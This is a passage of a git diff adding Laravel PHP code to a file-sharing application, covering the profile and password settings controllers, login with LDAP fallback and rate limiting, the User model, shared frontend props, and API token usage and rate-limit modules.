(registered on the web group) compares each request's stored + // password hash against the current one and logs out on mismatch; + // this re-stamps the current session so the person doing the change + // stays signed in while every other session falls over on its next + // request. + Auth::logoutOtherDevices($validated['password']); + + app(ActivityLogger::class)->log(Action::PasswordUpdated, $user); + + return back(); + } +} diff --git a/app/Http/Controllers/Settings/ProfileController.php b/app/Http/Controllers/Settings/ProfileController.php new file mode 100644 index 00000000..dbf11d86 --- /dev/null +++ b/app/Http/Controllers/Settings/ProfileController.php @@ -0,0 +1,121 @@ +user(); + assert($user !== null); + + return Inertia::render('settings/profile', [ + 'mustVerifyEmail' => $user instanceof MustVerifyEmail, + 'status' => $request->session()->get('status'), + // Resolved, so the picker shows the zone dates are actually + // being rendered in — which for most people is the one their + // browser was detected as, not something they ever chose. + 'timezone' => $this->timezones->resolve($user), + 'timezones' => $this->timezones->options(), + 'custom_fields' => $user->isClient() ? $this->customFields->rows(ClientFieldContext::AccountEdit, $user) : [], + 'custom_field_values' => $user->isClient() ? $this->customFields->values(ClientFieldContext::AccountEdit, $user) : [], + ]); + } + + /** + * The account-deletion screen. + * + * Its own page rather than a block under the profile form: this is + * the one irreversible action a person can take on themselves, and it + * should be somewhere you navigate to on purpose instead of somewhere + * you scroll past on the way to saving your email address. The delete + * itself still goes to destroy() below. + */ + public function deleteAccount(): Response + { + return Inertia::render('settings/delete-account', [ + 'erasureGraceDays' => (int) app(Settings::class)->get(Setting::AccountErasureGraceDays), + ]); + } + + /** + * Update the user's profile settings. + */ + public function update(ProfileUpdateRequest $request): RedirectResponse + { + $user = $request->user(); + assert($user !== null); + + $validated = $request->validated(); + $customFieldValues = $validated['custom_field_values'] ?? []; + unset($validated['custom_field_values']); + + $user->fill($validated); + + if ($user->isDirty('email')) { + $user->email_verified_at = null; + } + + $user->save(); + + if ($user->isClient()) { + $this->customFields->save($user, ClientFieldContext::AccountEdit, $customFieldValues); + } + + app(ActivityLogger::class)->log(Action::ProfileUpdated, $user); + + return to_route('profile.edit'); + } + + /** + * Delete the user's account. + */ + public function destroy(Request $request): RedirectResponse + { + $request->validate([ + 'password' => ['required', 'current_password'], + ]); + + $user = $request->user(); + assert($user !== null); + + Auth::logout(); + + // Self-deletion: soft delete now, permanent GDPR erasure after + // the disclosed grace period (Setting::AccountErasureGraceDays). + $graceDays = (int) app(Settings::class)->get(Setting::AccountErasureGraceDays); + $user->forceFill(['erase_after' => now()->addDays($graceDays)])->save(); + $user->delete(); + + app(ActivityLogger::class)->log(Action::UserDeleted, $user, context: ['name' => $user->name]); + + $request->session()->invalidate(); + $request->session()->regenerateToken(); + + return redirect('/'); + } +} diff --git a/app/Http/Middleware/HandleInertiaRequests.php b/app/Http/Middleware/HandleInertiaRequests.php new file mode 100644 index 00000000..23257c13 --- /dev/null +++ b/app/Http/Middleware/HandleInertiaRequests.php @@ -0,0 +1,241 @@ + + */ + public function share(Request $request): array + { + [$message, $author] = str(Inspiring::quotes()->random())->explode('-'); + + $capabilities = app(CapabilityRegistry::class); + + return array_merge(parent::share($request), [ + ...parent::share($request), + 'name' => app(Settings::class)->get(Setting::SiteName), + 'quote' => ['message' => trim((string) $message), 'author' => trim((string) $author)], + 'auth' => [ + 'user' => $request->user(), + 'permissions' => ($user = $request->user()) !== null + ? app(PermissionChecker::class)->grantedKeys($user) + : [], + ], + 'edition' => $capabilities->edition()->value, + 'noindex' => app(Settings::class)->get(Setting::DiscourageSearchIndexing), + 'version' => config('projectsend.version'), + 'links' => config('projectsend.links'), + // Whether the client- and visitor-facing surfaces name + // ProjectSend. True everywhere unless a package answers + // otherwise — see ResolvingAttribution. Staff surfaces + // ignore this and always show it. + 'attribution' => app(Attribution::class)->visible(), + 'capabilities' => $capabilities->enabledKeys(), + // Shared rather than passed by each page: the sign-in buttons, + // the registration form and the Connected accounts nav entry + // all need the same list, and a nav entry to a screen with + // nothing on it is worse than no entry. + 'social_login' => SocialSettings::available(), + // Shared for the same reason: seven unrelated surfaces — three + // auth pages and the file page of each public theme — need the + // identical provider and site key. Null when nothing is + // configured, and never the secret. + 'captcha' => app(Captcha::class)->forDisplay(), + // Shared for the same reason again: eight forms across the auth + // pages, the account settings and the staff/client editors all + // ask somebody to choose a password, and each has to be able to + // say what this installation will accept *before* the submit + // rather than only in the error afterwards. + 'password_policy' => app(PasswordPolicy::class)->descriptor(), + 'pending' => $this->pendingCounts($request), + 'update_notice' => $this->updateNotice($request), + 'locale' => app()->getLocale(), + // The clock this viewer reads dates by, and whether it is a + // choice or a fallback. The frontend needs both: the first to + // format with, the second because a viewer still on the + // fallback is one whose browser we have not asked yet — see + // timezone-detector.tsx. + 'timezone' => app(TimezoneRegistry::class)->resolve($request->user()), + 'timezone_is_explicit' => $request->user()?->timezone !== null, + 'locales' => app(LocaleRegistry::class)->enabled(), + 'locales_disabled' => $this->disabledLocaleCount($request), + 'translations' => $this->translations(app()->getLocale()), + 'flash' => [ + 'success' => $request->session()->get('success'), + 'error' => $request->session()->get('error'), + ], + ]); + } + + /** + * Pending-approval counts for sidebar badges, computed only for + * viewers holding the matching approval permission. + * + * @return array + */ + protected function pendingCounts(Request $request): array + { + $user = $request->user(); + + if ($user === null) { + return []; + } + + $checker = app(PermissionChecker::class); + $counts = []; + + if ($checker->allows($user, Permission::ApproveAccountRequests)) { + $counts['account_requests'] = User::query() + ->where('type', UserType::Client) + ->where('account_requested', true) + ->count(); + } + + if ($checker->allows($user, Permission::ApproveGroupsMembershipsRequests)) { + $counts['membership_requests'] = MembershipRequest::query() + ->pending() + ->whereHas('user') + ->whereHas('group') + ->count(); + } + + if ($checker->allows($user, Permission::ModerateComments)) { + // Library-scoped, like the screen it badges: a client-scoped + // staff member is not shown a number they cannot act on. The + // permission check inside pendingTotal is therefore redundant + // here and deliberately kept — the scope owns that rule, and + // this middleware should not be a second place it lives. + $counts['comments'] = app(VisibleCommentScope::class)->pendingTotal($user); + } + + // Unlike the counts above, every authenticated user (staff or + // client) has their own personal notifications — no permission + // gate here. + $counts['notifications_unread'] = InAppNotification::query() + ->where('user_id', $user->id) + ->whereNull('read_at') + ->count(); + + return $counts; + } + + /** + * How many installed translation catalogues are currently switched off, + * for the "N more languages available" line the switcher shows above its + * link to the Languages screen. + * + * Zero for everyone who cannot act on it — clients, anonymous visitors on + * the public pages and the login screen, and staff without edit_settings. + * A dead-end link is worse than none, and how an installation is + * configured is nobody else's business. + */ + protected function disabledLocaleCount(Request $request): int + { + $user = $request->user(); + + if ($user === null || ! $user->isStaff() || ! app(PermissionChecker::class)->allows($user, Permission::EditSettings)) { + return 0; + } + + $locales = app(LocaleRegistry::class); + + return count($locales->installed()) - count($locales->enabled()); + } + + /** + * The topbar's persistent "update available" icon — unlike the + * dashboard System card (informational, gated only on + * view_system_info), this is the actionable surface, so it's + * restricted to staff who actually hold manage_updates. + * + * Carries install_kind so the dialog can print instructions this + * particular server can actually follow — see Installation. Attached + * here rather than shared globally: it describes the deployment, which + * is nobody's business but the staff who maintain it. + * + * @return array{version: string, title: string, notes: string, url: string, published_at: string, install_kind: string}|null + */ + protected function updateNotice(Request $request): ?array + { + $user = $request->user(); + + if ($user === null || ! app(PermissionChecker::class)->allows($user, Permission::ManageUpdates)) { + return null; + } + + $release = app(LatestReleaseInfo::class)->current(); + + return $release === null + ? null + : [...$release, 'install_kind' => app(Installation::class)->kind()->value]; + } + + /** + * App strings use English text as the translation key, so "en" ships no + * messages — the key itself is the fallback. + * + * @return array + */ + protected function translations(string $locale): array + { + if ($locale === 'en') { + return []; + } + + $path = lang_path("{$locale}.json"); + + if (! is_file($path)) { + return []; + } + + /** @var array */ + return json_decode((string) file_get_contents($path), true, flags: JSON_THROW_ON_ERROR); + } +} diff --git a/app/Http/Middleware/ValidateCsrfToken.php b/app/Http/Middleware/ValidateCsrfToken.php new file mode 100644 index 00000000..de6fe704 --- /dev/null +++ b/app/Http/Middleware/ValidateCsrfToken.php @@ -0,0 +1,66 @@ + $config + */ + protected function newCookie($request, $config): Cookie + { + return new Cookie( + self::cookieName(), + $request->session()->token(), + $this->availableAt(60 * $config['lifetime']), + $config['path'], + $config['domain'], + $config['secure'], + false, + false, + $config['same_site'] ?? null, + $config['partitioned'] ?? false + ); + } + + /** + * Shared with the Blade layout, which tells the frontend which cookie + * to read — there is nothing on the client that could derive this. + */ + public static function cookieName(): string + { + $name = config('session.xsrf_cookie'); + + return is_string($name) && $name !== '' ? $name : 'XSRF-TOKEN'; + } +} diff --git a/app/Http/Requests/Auth/LoginRequest.php b/app/Http/Requests/Auth/LoginRequest.php new file mode 100644 index 00000000..3e6b1e87 --- /dev/null +++ b/app/Http/Requests/Auth/LoginRequest.php @@ -0,0 +1,234 @@ +|string> + */ + public function rules(): array + { + return [ + 'email' => ['required', 'string', 'email'], + 'password' => ['required', 'string'], + // Deliberately here rather than inside authenticate(): rules + // run first, so a bot never reaches the credential check, and + // an honest visitor whose token expired never burns one of + // their five attempts. + ...Rules::captcha(CaptchaForm::Login), + ]; + } + + /** + * Attempt to authenticate the request's credentials. + * + * Returns true when the credentials are valid but the account has + * two-factor authentication enabled: no session is created and the + * pending user id is stored for the challenge step. + * + * Three phases, deliberately in this order: + * + * 1. Identify and verify — is this password correct, from any source + * this installation accepts? + * 2. Account state — is this account allowed to sign in at all? + * 3. Two-factor, then the session. + * + * Splitting 1 from 2 is what lets a directory be consulted without + * restating anything. The property that account state is only revealed + * to somebody holding the right password now falls out of the ordering, + * rather than being re-established by a second Auth::validate() inside + * each branch — and rate limiting covers every credential source, + * because every failure funnels through one refusal. + * + * @throws ValidationException + */ + public function authenticate(): bool + { + $this->ensureIsNotRateLimited(); + + $user = User::query()->where('email', $this->string('email'))->first(); + + // A directory identity with no local account yet. Returns null + // unless LDAP is on, auto-provisioning is on, and the bind + // succeeds — so an unknown email costs nothing on an installation + // that does not use a directory. + if ($user === null) { + $user = app(LdapProvisioner::class)->provision( + (string) $this->string('email'), + (string) $this->string('password'), + ); + } + + $verified = $this->verifyCredentials($user); + + if ($verified === null) { + $this->failWithInvalidCredentials(); + } + + $signIn = app(SignIn::class); + + $refusal = $signIn->refusalReason($verified); + + if ($refusal !== null) { + // Reached only with correct credentials, so this reveals the + // account state to its owner and to nobody else. + throw ValidationException::withMessages(['email' => $refusal]); + } + + // Phases 2 and 3 are shared with every other way into this + // application — see SignIn. Rate limiting stays here, because it + // is a property of this form (keyed on email and IP) rather than + // of signing in. + $pendingTwoFactor = $signIn->begin($verified, $this->boolean('remember')); + + RateLimiter::clear($this->throttleKey()); + + return $pendingTwoFactor; + } + + /** + * The account whose password checks out, or null. + * + * The local hash is tried first and the directory only on failure, so + * a login that succeeds locally never generates directory traffic. + * The exception is an account whose credentials are known to live in + * the directory, where the local hash is a placeholder nobody holds. + */ + private function verifyCredentials(?User $user): ?User + { + if ($user === null) { + return null; + } + + $ldap = app(LdapAuthenticator::class); + + if (! $ldap->isDirectoryAccount($user) + && Auth::validate($this->only('email', 'password'))) { + $this->upgradeHashIfStale($user); + + return $user; + } + + $identity = $ldap->attempt( + (string) $this->string('email'), + (string) $this->string('password'), + $user, + ); + + if ($identity === null) { + return null; + } + + $ldap->stamp($user, $identity); + + return $user; + } + + /** + * Re-hash a password stored under weaker settings than this + * installation now uses. + * + * Laravel does this for you inside SessionGuard::attempt(), but this + * form does not use attempt() — it verifies with Auth::validate() and + * hands the account to SignIn, which calls Auth::login(). Neither + * re-hashes, so without this an account keeps whatever cost it was + * created under forever, and raising BCRYPT_ROUNDS would quietly + * apply to new accounts only. + * + * That is not hypothetical: every account the v1 migration carries + * across arrives as `$2y$08$…`, because v1 hashed at cost 8, and + * would otherwise stay four times cheaper to attack than an account + * created here. + * + * **Only ever called on the local branch.** On the directory branch + * the submitted plaintext is the *LDAP* password and the local hash + * is a `Str::password(64)` placeholder nobody holds; writing the + * directory credential into it would mint a second way into the + * account that keeps working after LDAP is switched off. + */ + private function upgradeHashIfStale(User $user): void + { + $guard = Auth::guard('web'); + + // getProvider() is on SessionGuard rather than on the StatefulGuard + // contract. This guard is a SessionGuard in every configuration this + // application ships; the check is here so a custom driver degrades + // to "no re-hash" instead of a fatal on the login path. + if (! $guard instanceof SessionGuard) { + return; + } + + // No-ops unless the hasher says the stored digest needs it, so + // this costs an already-current account nothing. + $guard->getProvider()->rehashPasswordIfRequired($user, $this->only('password')); + } + + /** + * @throws ValidationException + */ + protected function failWithInvalidCredentials(): never + { + RateLimiter::hit($this->throttleKey()); + + throw ValidationException::withMessages([ + 'email' => __('auth.failed'), + ]); + } + + /** + * Ensure the login request is not rate limited. + * + * @throws ValidationException + */ + public function ensureIsNotRateLimited(): void + { + if (! RateLimiter::tooManyAttempts($this->throttleKey(), 5)) { + return; + } + + event(new Lockout($this)); + + $seconds = RateLimiter::availableIn($this->throttleKey()); + + throw ValidationException::withMessages([ + 'email' => __('auth.throttle', [ + 'seconds' => $seconds, + 'minutes' => ceil($seconds / 60), + ]), + ]); + } + + /** + * Get the rate limiting throttle key for the request. + */ + public function throttleKey(): string + { + return Str::transliterate(Str::lower($this->string('email')).'|'.$this->ip()); + } +} diff --git a/app/Http/Requests/Settings/ProfileUpdateRequest.php b/app/Http/Requests/Settings/ProfileUpdateRequest.php new file mode 100644 index 00000000..97a489fe --- /dev/null +++ b/app/Http/Requests/Settings/ProfileUpdateRequest.php @@ -0,0 +1,55 @@ +|string> + */ + public function rules(): array + { + $rules = [ + 'name' => ['required', 'string', 'max:255'], + + 'email' => [ + 'required', + 'string', + 'lowercase', + 'email', + 'max:255', + Rule::unique(User::class)->ignore($this->user()?->id), + ], + + // Saved with the rest of the profile so the screen keeps one + // Save button. `timezone` is fillable, so ProfileController's + // fill() picks it up with no special handling. + // + // `sometimes`, not `required`: the form always sends it, but a + // caller that doesn't should leave the stored zone alone + // rather than be rejected — and there is no "no timezone" to + // clear it to. + 'timezone' => ['sometimes', ...Rules::timezone()], + ]; + + $user = $this->user(); + if ($user?->isClient() === true) { + $rules = [ + ...$rules, + ...app(ClientPortalCustomFields::class)->rules(ClientFieldContext::AccountEdit, $user), + ]; + } + + return $rules; + } +} diff --git a/app/Models/User.php b/app/Models/User.php new file mode 100644 index 00000000..4a2611a9 --- /dev/null +++ b/app/Models/User.php @@ -0,0 +1,176 @@ + */ + use HasApiTokens, HasFactory, Notifiable, SoftDeletes; + + /** + * The attributes that are mass assignable. + * + * @var list + */ + protected $fillable = [ + 'type', + 'role_id', + 'active', + 'account_requested', + 'name', + 'email', + 'password', + 'locale', + 'timezone', + 'dashboard_columns', + 'storage_quota_mb', + ]; + + /** + * @return BelongsTo + */ + public function role(): BelongsTo + { + return $this->belongsTo(Role::class); + } + + /** + * Groups this account belongs to (clients only in practice). + * + * @return BelongsToMany + */ + public function memberOfGroups(): BelongsToMany + { + return $this->belongsToMany(Group::class, 'group_members')->withTimestamps(); + } + + /** + * The clients a client-scoped staff member manages. Their library + * scope (what they see and may share) derives from this list. + * + * @return BelongsToMany + */ + public function assignedClients(): BelongsToMany + { + return $this->belongsToMany(User::class, 'staff_client_assignments', 'staff_id', 'client_id')->withTimestamps(); + } + + /** + * A staff member whose role restricts them to their assigned clients' + * library content (plus their own uploads). + */ + public function isClientScoped(): bool + { + return $this->isStaff() && $this->role?->client_scoped === true; + } + + public function hasTwoFactorEnabled(): bool + { + return $this->two_factor_confirmed_at !== null; + } + + public function isStaff(): bool + { + return $this->type === UserType::Staff; + } + + public function isClient(): bool + { + return $this->type === UserType::Client; + } + + public function preferredLocale(): ?string + { + return $this->locale; + } + + /** + * @param string $token + */ + public function sendPasswordResetNotification($token) + { + $this->notify(new ResetPasswordNotification($token)); + } + + /** + * The attributes that should be hidden for serialization. + * + * @var list + */ + protected $hidden = [ + 'password', + 'remember_token', + 'two_factor_secret', + 'two_factor_recovery_codes', + ]; + + /** + * Get the attributes that should be cast. + * + * @return array + */ + /** + * The column default only applies on INSERT, so it never reaches an + * instance the database did not just hand back — and code that asks + * "does this account have a password of its own?" would then read + * null and answer wrongly. This makes `local` the answer everywhere. + * + * @var array + */ + protected $attributes = [ + 'auth_source' => 'local', + ]; + + protected function casts(): array + { + return [ + 'type' => UserType::class, + // Deliberately absent from $fillable: where an account's + // credentials live is a security decision, not an attribute a + // form or an API payload may set. Written with forceFill by + // the code that provisions the account. + 'auth_source' => AuthSource::class, + 'ldap_synced_at' => 'datetime', + 'active' => 'boolean', + 'account_requested' => 'boolean', + 'erase_after' => 'datetime', + 'email_verified_at' => 'datetime', + 'password' => 'hashed', + 'two_factor_secret' => 'encrypted', + 'two_factor_recovery_codes' => 'encrypted:array', + 'two_factor_confirmed_at' => 'datetime', + ]; + } +} diff --git a/app/Modules/Api/ApiModuleRegistry.php b/app/Modules/Api/ApiModuleRegistry.php new file mode 100644 index 00000000..39bc3353 --- /dev/null +++ b/app/Modules/Api/ApiModuleRegistry.php @@ -0,0 +1,52 @@ +|null */ + private ?array $slugs = null; + + /** + * @return list + */ + public function slugs(): array + { + if ($this->slugs !== null) { + return $this->slugs; + } + + $slugs = []; + + foreach (Router::getRoutes()->getRoutes() as $route) { + /** @var Route $route */ + $name = $route->getName(); + + if ($name === null || ! str_starts_with($name, 'api.modules.')) { + continue; + } + + $slug = explode('.', substr($name, strlen('api.modules.')))[0]; + + if ($slug !== '') { + $slugs[$slug] = true; + } + } + + return $this->slugs = array_keys($slugs); + } +} diff --git a/app/Modules/Api/ApiServiceProvider.php b/app/Modules/Api/ApiServiceProvider.php new file mode 100644 index 00000000..db31a2e9 --- /dev/null +++ b/app/Modules/Api/ApiServiceProvider.php @@ -0,0 +1,182 @@ +app->singleton(ApiModuleRegistry::class); + } + + public function boot(): void + { + $this->registerRateLimiters(); + $this->describeOpenApi(); + + if ($this->app->runningInConsole()) { + $this->commands([ + Console\PurgeApiRequestLogsCommand::class, + ]); + } + } + + /** + * Two things Scramble cannot infer from the code, both of which a + * consumer needs before it can make a single successful call. + * + * Scramble's own docs routes stay unmounted: the reference lives in the + * admin UI behind the same gate as every other system settings page, + * and a second, separately-gated copy of the same document is a + * surface nobody would remember to check. + */ + private function describeOpenApi(): void + { + if (! class_exists(Scramble::class)) { + return; + } + + Scramble::ignoreDefaultRoutes(); + + // Replaces the config's `api_path` matcher so two routes can be + // left out: the document must not describe how to fetch itself, + // and module endpoints belong in their own package's document — + // the committed core spec has to be identical on every install + // regardless of which optional packages are present. + Scramble::routes(fn (RouteInstance $route): bool => str_starts_with($route->uri(), 'api/v1/') + && $route->uri() !== 'api/v1/openapi.json' + && ! str_starts_with($route->uri(), 'api/v1/modules/')); + + Scramble::extendOpenApi(function (OpenApi $document): void { + // Every route in this document sits behind auth:sanctum, so the + // scheme is declared once and applied globally. + $document->secure(SecurityScheme::http('bearer')); + }); + + Scramble::afterOpenApiGenerated(function (OpenApi $document): void { + // A *relative* server URL. Scramble defaults to an absolute one + // built from APP_URL, which bakes whichever machine ran the + // export into a document that then ships to every installation + // — every importing client would have been pointed at the + // exporter's host. Relative resolves against wherever the spec + // was fetched from, which is always the right server. + $document->servers = [Server::make('/api/v1')]; + + // The token abilities each endpoint needs live in `token-can:` + // route middleware, which no amount of return-type inference + // will reveal. Without them a reader can see the shape of a + // call but not which permissions to tick when creating the + // token that makes it — the single most common reason a first + // request 403s. + $abilitiesByRoute = $this->abilitiesByRoute(); + + foreach ($document->paths as $path) { + foreach ($path->operations as $operation) { + $key = strtoupper($operation->method).' '.ltrim($path->path, '/'); + $abilities = $abilitiesByRoute[$key] ?? null; + + if ($abilities === null) { + continue; + } + + $operation->description = trim( + $operation->description + ."\n\nRequires a token with " + .(count($abilities) > 1 ? 'any of these abilities' : 'the ability') + .': `'.implode('`, `', $abilities).'`.' + ); + } + } + }); + } + + /** + * "METHOD uri" (uri relative to the api/v1 prefix) => the abilities its + * `token-can:` middleware names. + * + * Keyed by method as well as path, because several endpoints share a + * URI with different requirements — `GET /files` needs any of the three + * view permissions while `POST /files` needs `upload`, and keying by + * path alone silently gave every operation on a shared path whichever + * route happened to be registered last. + * + * @return array> + */ + private function abilitiesByRoute(): array + { + $map = []; + + foreach (Router::getRoutes()->getRoutes() as $route) { + if (! str_starts_with($route->uri(), 'api/v1/')) { + continue; + } + + foreach ($route->gatherMiddleware() as $middleware) { + if (! is_string($middleware) || ! str_starts_with($middleware, 'token-can:')) { + continue; + } + + $abilities = array_values(array_filter( + array_map('trim', explode(',', substr($middleware, strlen('token-can:')))) + )); + + foreach ($route->methods() as $method) { + if ($method === 'HEAD') { + continue; + } + + $map[$method.' '.substr($route->uri(), strlen('api/v1/'))] = $abilities; + } + } + } + + return $map; + } + + private function registerRateLimiters(): void + { + // Keyed by token, not by user: two integrations belonging to the + // same admin get independent allowances, so a runaway Zapier zap + // cannot throttle that person's phone. IP is only the fallback for + // requests that never authenticated. + RateLimiter::for('api', fn (Request $request): Limit => $this->limit($request, 'default')); + + RateLimiter::for('api-uploads', fn (Request $request): Limit => $this->limit($request, 'uploads')); + } + + private function limit(Request $request, string $bucket): Limit + { + $edition = config('projectsend.edition'); + $key = $edition instanceof Edition ? $edition->value : Edition::Community->value; + + $perMinute = (int) config( + "api.rate_limits.{$key}.{$bucket}", + config("api.rate_limits.community.{$bucket}", 60) + ); + + $token = $request->user()?->currentAccessToken(); + + return Limit::perMinute($perMinute)->by( + $token !== null ? "token:{$token->getKey()}:{$bucket}" : "ip:{$request->ip()}:{$bucket}" + ); + } +} diff --git a/app/Modules/Api/ApiUsage.php b/app/Modules/Api/ApiUsage.php new file mode 100644 index 00000000..5772a63f --- /dev/null +++ b/app/Modules/Api/ApiUsage.php @@ -0,0 +1,250 @@ + + */ + public function summary(User $viewer, bool $installWide): array + { + $requests = $this->requests($viewer, $installWide); + $since = now()->subDays(7); + + $recent = (clone $requests)->where('created_at', '>=', $since); + + return [ + 'tokens' => $this->tokens($viewer, $installWide)->count(), + 'tokens_expired' => $this->tokens($viewer, $installWide) + ->whereNotNull('expires_at')->where('expires_at', '<', now())->count(), + 'requests_7d' => (clone $recent)->count(), + 'failed_7d' => (clone $recent)->failed()->count(), + // Null rather than 0 when nothing has been called: "no requests" + // and "no failures out of many" are different states, and a + // 0% badge on an unused API reads as a health claim it cannot make. + 'median_ms' => $this->medianDuration((clone $recent)), + ]; + } + + /** + * Daily request counts for the chart, zero-filled so gaps read as + * quiet days rather than as missing data. + * + * @return list + */ + public function daily(User $viewer, bool $installWide, int $days = 30): array + { + $from = now()->subDays($days - 1)->startOfDay(); + + $rows = $this->requests($viewer, $installWide) + ->where('created_at', '>=', $from) + ->selectRaw('date(created_at) as day') + ->selectRaw('count(*) as requests') + ->selectRaw('sum(case when status >= 400 then 1 else 0 end) as failed') + ->groupBy('day') + ->pluck('requests', 'day'); + + $failures = $this->requests($viewer, $installWide) + ->where('created_at', '>=', $from) + ->failed() + ->selectRaw('date(created_at) as day') + ->selectRaw('count(*) as failed') + ->groupBy('day') + ->pluck('failed', 'day'); + + $series = []; + + for ($day = $from->copy(); $day <= now(); $day->addDay()) { + $key = $day->toDateString(); + + $series[] = [ + 'date' => $key, + 'requests' => (int) ($rows[$key] ?? 0), + 'failed' => (int) ($failures[$key] ?? 0), + ]; + } + + return $series; + } + + /** + * Per-token usage: what each token is, and what it has been doing. + * + * @return list> + */ + public function tokenUsage(User $viewer, bool $installWide): array + { + $tokens = $this->tokens($viewer, $installWide) + ->with('tokenable') + ->orderByDesc('last_used_at') + ->orderByDesc('created_at') + ->limit(50) + ->get(); + + $counts = $this->requests($viewer, $installWide) + ->where('created_at', '>=', now()->subDays(7)) + ->selectRaw('api_token_id, count(*) as total') + ->selectRaw('sum(case when status >= 400 then 1 else 0 end) as failed') + ->groupBy('api_token_id') + ->get() + ->keyBy('api_token_id'); + + return array_values($tokens->map(function (PersonalAccessToken $token) use ($counts): array { + $row = $counts->get($token->getKey()); + $owner = $token->tokenable; + + return [ + 'id' => (string) $token->getKey(), + 'name' => $token->name, + 'owner' => $owner instanceof User ? $owner->name : null, + 'abilities' => $token->abilities ?? [], + 'last_used_at' => $token->last_used_at?->toIso8601String(), + 'expires_at' => $token->expires_at?->toIso8601String(), + 'expired' => ! ApiTokens::isActive($token), + 'requests_7d' => (int) ($row->total ?? 0), + 'failed_7d' => (int) ($row->failed ?? 0), + ]; + })->all()); + } + + /** + * The most recent *domain actions* taken through the API — what a token + * actually changed, as opposed to how many requests it made. + * + * Read from the activity log rather than the request log on purpose: + * this answers "what did it do", which is the audit trail's question, + * and each row links back into the full log. + * + * @return list> + */ + public function recentActions(User $viewer, bool $installWide, int $limit = 15): array + { + $query = ActivityLog::query()->where('origin', ActivityOrigin::Api); + + if (! $installWide) { + $query->where('actor_id', $viewer->id); + } + + return array_values($query->orderByDesc('created_at') + ->orderByDesc('id') + ->limit($limit) + ->get() + ->map(fn (ActivityLog $entry): array => [ + 'id' => $entry->id, + 'created_at' => $entry->created_at->toIso8601String(), + 'actor_name' => $entry->actor_name, + 'token_name' => $entry->api_token_name, + 'template' => $entry->action->template(), + 'replacements' => $this->replacements($entry), + ]) + ->all()); + } + + /** + * @return array + */ + private function replacements(ActivityLog $entry): array + { + $replacements = ['subject' => $entry->subject_name ?? '']; + + foreach ($entry->context ?? [] as $key => $value) { + if (is_scalar($value)) { + $replacements[$key] = (string) $value; + } + } + + return $replacements; + } + + /** + * @return Builder + */ + private function requests(User $viewer, bool $installWide): Builder + { + return $this->scope->requests($viewer, $installWide); + } + + /** + * @return Builder + */ + private function tokens(User $viewer, bool $installWide): Builder + { + return $this->scope->tokens($viewer, $installWide); + } + + /** + * @param Builder $requests + */ + private function medianDuration(Builder $requests): ?int + { + $count = (clone $requests)->count(); + + if ($count === 0) { + return null; + } + + // Median rather than mean: one slow upload should not make every + // other call look slow, which is exactly what an average does on a + // long-tailed distribution like request duration. + $offset = (int) floor(($count - 1) / 2); + + return (int) $requests->orderBy('duration_ms')->offset($offset)->limit(1)->value('duration_ms'); + } + + /** + * Convenience for the dashboard widget, which shows one number. + */ + public function requestsSince(User $viewer, bool $installWide, Carbon $since): int + { + return $this->requests($viewer, $installWide)->where('created_at', '>=', $since)->count(); + } + + /** + * The busiest endpoints, so an operator can see what an integration + * actually leans on. + * + * @return list + */ + public function topEndpoints(User $viewer, bool $installWide, int $limit = 8): array + { + return array_values($this->requests($viewer, $installWide) + ->where('created_at', '>=', now()->subDays(7)) + ->select('route', 'method', DB::raw('count(*) as requests')) + ->groupBy('route', 'method') + ->orderByDesc('requests') + ->limit($limit) + ->get() + ->map(fn (ApiRequestLog $row): array => [ + 'route' => $row->route, + 'method' => $row->method, + 'requests' => (int) $row->getAttribute('requests'), + ]) + ->all()); + } +} diff --git a/app/Modules/Api/ApiUsageScope.php b/app/Modules/Api/ApiUsageScope.php new file mode 100644 index 00000000..bb5b901c --- /dev/null +++ b/app/Modules/Api/ApiUsageScope.php @@ -0,0 +1,66 @@ +can('view_actions_log'); + } + + /** + * Resolves what the caller asked for against what they may have, so a + * controller cannot widen the scope by passing `true`. + */ + public function resolve(User $viewer, bool $requested): bool + { + return $requested && $this->mayViewInstallWide($viewer); + } + + /** + * @return Builder + */ + public function requests(User $viewer, bool $installWide): Builder + { + $query = ApiRequestLog::query(); + + return $installWide ? $query : $query->ownedBy($viewer); + } + + /** + * @return Builder + */ + public function tokens(User $viewer, bool $installWide): Builder + { + $query = PersonalAccessToken::query(); + + return $installWide + ? $query + : $query->where('tokenable_type', $viewer->getMorphClass())->where('tokenable_id', $viewer->id); + } +} diff --git a/app/Modules/Api/Auth/ApiTokens.php b/app/Modules/Api/Auth/ApiTokens.php new file mode 100644 index 00000000..402d13a4 --- /dev/null +++ b/app/Modules/Api/Auth/ApiTokens.php @@ -0,0 +1,152 @@ +expires_at === null || $token->expires_at->isFuture(); + } + + /** + * Totals for one account. + * + * @return array{total: int, active: int} + */ + public function summarize(User $user): array + { + return $this->summarizeMany([$user->id])[$user->id] ?? ['total' => 0, 'active' => 0]; + } + + /** + * Totals for a page of accounts, in one query — a listing that asked + * per row would be an N+1 on a screen that already paginates 25 at a + * time. + * + * Counted in the database rather than by loading the rows: nothing + * here needs a token's name or abilities, only how many there are. + * Expiry is compared in SQL for the same reason. + * + * @param iterable $userIds + * @return array + */ + public function summarizeMany(iterable $userIds): array + { + $ids = Collection::make($userIds)->map(fn ($id): int => (int) $id)->unique()->values(); + + if ($ids->isEmpty()) { + return []; + } + + return PersonalAccessToken::query() + ->where('tokenable_type', User::class) + ->whereIn('tokenable_id', $ids) + ->selectRaw('tokenable_id') + ->selectRaw('count(*) as total') + ->selectRaw('sum(case when expires_at is null or expires_at > ? then 1 else 0 end) as active', [now()]) + ->groupBy('tokenable_id') + ->get() + ->mapWithKeys(fn (PersonalAccessToken $row): array => [ + (int) $row->getAttribute('tokenable_id') => [ + 'total' => (int) $row->getAttribute('total'), + 'active' => (int) $row->getAttribute('active'), + ], + ]) + ->all(); + } + + /** + * Every token an account holds, with its abilities resolved to the + * labels the permission screens use — bare keys like + * `edit_others_files` are not what an administrator should have to + * read to answer "what can this integration do". + * + * @return list> + */ + public function detailFor(User $user): array + { + $stillGranted = $this->abilities->availableFor($user); + + return array_values($user->tokens() + ->orderByDesc('created_at') + ->get() + ->map(fn (PersonalAccessToken $token): array => [ + 'id' => (string) $token->getKey(), + 'name' => $token->name, + 'active' => self::isActive($token), + 'created_at' => $token->created_at?->toIso8601String(), + 'last_used_at' => $token->last_used_at?->toIso8601String(), + 'expires_at' => $token->expires_at?->toIso8601String(), + // array_values because Sanctum casts the column straight + // from JSON, so nothing guarantees the keys are sequential. + 'abilities' => $this->describeAbilities(array_values($token->abilities ?? []), $stillGranted), + ]) + ->all()); + } + + /** + * @param list $keys + * @param list $stillGranted + * @return list + */ + private function describeAbilities(array $keys, array 